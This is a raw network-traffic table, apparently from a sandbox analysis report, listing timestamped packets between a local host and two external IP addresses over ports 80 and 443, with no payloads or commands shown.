Oct 7, 2024 21:18:43.107981920 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:43.108014107 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.108019114 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:43.108047962 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.108057022 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:43.108084917 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.108093023 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:43.108119965 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.108128071 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:43.108153105 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.108165026 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:43.108196020 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:43.108202934 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.108239889 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.108248949 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:43.108270884 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.108282089 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:43.108305931 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.108341932 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.108347893 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:43.108382940 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.108393908 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.108417034 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:43.108426094 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.108429909 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:43.108480930 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.108514071 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.108524084 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:43.108549118 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.108553886 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:43.108587980 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.108597040 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:43.108630896 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:43.108638048 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.108671904 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.108684063 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:43.108705044 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.108716011 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:43.108740091 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.108748913 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:43.108774900 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.108781099 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:43.108810902 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.108824968 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:43.108840942 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.108853102 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:43.108884096 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:43.108943939 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.108978033 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.108997107 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:43.109009981 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.109021902 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:43.109046936 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.109055996 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:43.109081030 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.109100103 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:43.109116077 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.109133005 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:43.109150887 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.109164953 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:43.109185934 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.109200954 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:43.109220982 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.109230042 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:43.109255075 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.109268904 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:43.109294891 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.109296083 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:43.109339952 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:43.109474897 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.109508038 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.109524965 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:43.109541893 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.109551907 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:43.109575987 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.109586000 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:43.109611034 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.109617949 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:43.109647989 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.109656096 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:43.109682083 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.109689951 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:43.109715939 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.109728098 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:43.109750986 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.109760046 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:43.109783888 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.109793901 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:43.109817982 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.109852076 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.109863043 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:43.109888077 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.109894991 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:43.109922886 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.109957933 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.109966040 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:43.109987974 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.110032082 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:43.110131979 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.110165119 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.110177040 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:43.110199928 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.110207081 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:43.110234976 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.110248089 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:43.110270977 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.110282898 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:43.110304117 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.110320091 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:43.110342026 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.110351086 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:43.110375881 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.110384941 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:43.110409975 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.110443115 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.110455036 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:43.110476971 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.110498905 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:43.110564947 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.110599041 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.110609055 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:43.110634089 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.110640049 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:43.110668898 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.110702991 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.110708952 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:43.110738039 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.110771894 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.110783100 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:43.110810041 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.110814095 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:43.110989094 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:43.123277903 CEST	443	49877	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:43.123650074 CEST	443	49877	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:43.123703003 CEST	49877	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:43.125883102 CEST	49877	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:43.125888109 CEST	443	49877	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:43.137331963 CEST	49882	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:43.137350082 CEST	443	49882	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:43.137413025 CEST	49882	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:43.139197111 CEST	49882	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:43.139208078 CEST	443	49882	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:43.152246952 CEST	443	49881	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:43.152664900 CEST	49881	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:43.152678967 CEST	443	49881	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:43.153124094 CEST	49881	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:43.153129101 CEST	443	49881	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:43.190332890 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.190370083 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.190423965 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.190432072 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:43.190458059 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.190462112 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:43.190494061 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.190514088 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:43.190526009 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.190536022 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:43.190560102 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.190604925 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:43.190725088 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.190757036 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.190772057 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:43.190790892 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.190819025 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:43.190824032 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.190851927 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:43.190859079 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.190865040 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:43.190892935 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.190927029 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.190937996 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:43.190960884 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.190995932 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.191004038 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:43.191037893 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:43.191241026 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.191272974 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.191288948 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:43.191313028 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.191329002 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:43.191356897 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:43.191585064 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.191628933 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:43.191632986 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.191665888 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.191699028 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.191706896 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:43.191731930 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.191765070 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.191777945 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:43.191797972 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.191806078 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:43.191831112 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.191863060 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.191874027 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:43.191898108 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.191931009 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.191945076 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:43.191963911 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.191973925 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:43.191998959 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.192027092 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:43.192034006 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.192045927 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:43.192075968 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:43.192173004 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.192204952 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.192220926 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:43.192236900 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.192246914 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:43.192271948 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.192280054 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:43.192306042 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.192316055 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:43.192339897 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.192373037 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.192389011 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:43.192405939 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.192413092 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:43.192439079 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.192471027 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.192486048 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:43.192503929 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.192514896 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:43.192537069 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.192569017 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.192580938 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:43.192603111 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.192611933 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:43.192636967 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.192651033 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:43.192670107 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.192703962 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.192714930 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:43.192837954 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:43.193154097 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.193186998 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.193219900 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.193234921 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:43.193252087 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.193260908 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:43.193284035 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.193315983 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.193326950 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:43.193350077 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.193357944 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:43.193383932 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.193391085 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:43.193417072 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.193449020 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.193461895 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:43.193483114 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.193523884 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.193536043 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:43.193557024 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.193563938 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:43.193592072 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.193624973 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.193635941 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:43.193658113 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.193690062 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.193701029 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:43.193723917 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.193731070 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:43.193758011 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.193803072 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:43.194076061 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.194108963 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.194143057 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.194154978 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:43.194176912 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.194192886 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:43.194211006 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.194221020 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:43.194245100 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.194257021 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:43.194278002 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.194288015 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:43.194369078 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.194377899 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:43.194402933 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.194417000 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:43.194437981 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.194469929 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.194477081 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:43.194504976 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.194536924 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.194549084 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:43.194570065 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.194576979 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:43.194603920 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.194637060 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.194648027 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:43.194669008 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.194705009 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.194714069 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:43.194762945 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:43.200728893 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.200743914 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.200754881 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.200764894 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.200774908 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.200786114 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.200792074 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:43.200797081 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.200809002 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.200825930 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:43.200845003 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:43.201040030 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.201050997 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.201060057 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.201071978 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.201081991 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.201081991 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:43.201092958 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.201103926 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.201108932 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:43.201112986 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.201138020 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:43.201148033 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:43.201241970 CEST	443	49878	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:43.201297998 CEST	443	49878	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:43.201345921 CEST	49878	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:43.202387094 CEST	49878	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:43.202402115 CEST	443	49878	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:43.202410936 CEST	49878	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:43.202416897 CEST	443	49878	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:43.204977036 CEST	443	49880	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:43.205122948 CEST	443	49880	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:43.205178976 CEST	49880	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:43.206892967 CEST	49883	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:43.206907988 CEST	443	49883	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:43.206983089 CEST	49883	443	192.168.2.5	13.107.253.45
